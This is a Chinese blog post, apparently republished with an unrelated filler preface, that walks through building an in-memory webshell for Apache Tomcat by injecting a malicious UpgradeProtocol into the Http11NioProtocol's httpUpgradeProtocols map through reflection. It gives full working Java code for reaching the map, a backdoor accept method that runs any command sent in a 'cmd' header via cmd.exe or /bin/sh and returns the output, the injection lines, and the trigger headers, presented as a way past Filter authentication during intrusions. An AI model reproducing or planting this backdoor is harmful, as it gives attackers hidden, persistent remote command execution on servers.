前言:
此时各位老铁们对“java图片马”大致比较着重,我们都需要分析一些“java图片马”的相关资讯。那么小编同时在网摘上搜集了一些对于“java图片马””的相关文章,希望你们能喜欢,同学们一起来了解一下吧!0x00 前言
本人水平不高,若有错误请不吝指出。
0x01 起因
在渗透过程中,有些时候虽然我们植入了内存马,但是由于原有Filter的缘故,导致鉴权失败或者是无法访问,在亦或是由于反代的缘故,很多时候无法找到对应路径。为了解决这个问题,我们要在进入请求进入Filter之前进入内存马被拦截处理。
上图出自blue0师傅的文章,blue0师傅研究的是Executor中的内存马。我发现在Processor中也存在一种可以利用的内存马,接下来我们针对Http11Processor进行分析。
0x02 Http11Processor
在一个请求的处理过程中,在AbstractProcessorLight的process方法中,会根据当前SocketWrapperBase的状态进行响应的处理,在OPEN_READ状态时,会调用对应的Processor进行处理,如下图所示。
在处理HTTP请求时,对应的Processor为Http11Processor。在处理Upgrade时,会进行两件事情:
在Http11Processor的service方法中会检查头部的Connection头中是否为upgrade根据头部的Upgrade选择出对应的Upgrade对象。调用该对象的accept方法。
可以注意到,他是从protocol这个局部变量中调用getUpgradeProtocol方法获取对应的UpgradeProtocol,getUpgradeProtocol这个方法仅仅是从根据Upgrade头对应的值获取相应的 UpgradeProtocol。如下图
0x03 AbstractHttp11Protocol
这里的AbstractHttp11Protocol事实上其实是Http11NioProtocol,其继承了AbstractHttp11Protocol
为了判断httpUpgradeProtocols是在Tomcat启动时进行的实例化还是在请求时进行的实例化,需要知道httpUpgradeProtocols是在什么时候被赋值的。然后一路追踪找到了init方法。
在init方法中他做了以下几件事情:
通过读取upgradeProtocols列表,调用configureUpgradeProtocol将对应upgradeProtocol添加到httpUpgradeProtocols的HashMap中。
那是什么时候对upgradeProtocols进行的初始化呢,我们在init方法上下断点,我们发现是在Tomcat启动时进行的初始化。
因此我们可以通过反射调用把这个httpUpgradeProtocols添加一项,即可实现Upgrade内存马。
0x04 获取Http11NioProtocol对象
其实获取Http11NioProtocol的方法很简单,从request开始能很简单的找到,具体路径如下
request.request.connector.protocolHandler.httpUpgradeProtocols
0x05 构造内存马获取upgradeProtocols对象
可以直接通过反射调用获取到upgradeProtocols,由于过程比较简单这里直接贴出相关代码。
RequestFacade rf = (RequestFacade) request;Field requestField = RequestFacade.class.getDeclaredField("request");requestField.setAccessible(true);Request request1 = (Request) requestField.get(rf);Field connector = Request.class.getDeclaredField("connector");connector.setAccessible(true);Connector realConnector = (Connector) connector.get(request1);Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler");protocolHandlerField.setAccessible(true);AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(realConnector);HashMap<String, UpgradeProtocol> upgradeProtocols = null;Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");upgradeProtocolsField.setAccessible(true);upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);
接下来只需要编写恶意的upgradeProtocol并将其插入到upgradeProtocols这个HashMap中即可。
编写恶意的UpgradeProtocol
在Http11Processor的process方法中会检测Connection和Upgrade的头部字段,之后会根据Upgrade调用UpgradeProtocol的accept方法。
由于accept方法只传入了org.apache.coyote.Request request对象,所以我们需要获取到response对象。幸运的是,request对象中存在private Response response;因此我们可以通过反射获取到response对象。
值得注意的是,恶意的UpgradeProtoocl需要满足org.apache.coyote.UpgradeProtocol接口。编写出accept方法如下
public boolean accept(org.apache.coyote.Request request) { System.out.println("MyUpgrade.accept"); String p = request.getHeader("cmd"); try { String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p}; Field response = org.apache.coyote.Request.class.getDeclaredField("response"); response.setAccessible(true); Response resp = (Response) response.get(request); byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes(); resp.doWrite(ByteBuffer.wrap(result)); } catch (Exception e){} return false;}
这样我们直接注入内存码了
upgradeProtocols.put("hello", new MyUpgrade());upgradeProtocolsField.set(handler, upgradeProtocols);
值得注意的是需要在HTTP访问时带上Upgrade的头部信息:
Upgrade: helloConnection: Upgrade
效果如下:
由于其工作在Upgrade中,处理在Filter和Servlet之前,所以可以解决Filter的权限问题。
0x06 查杀效果
0xff 参考资料
refer
标签: #java图片马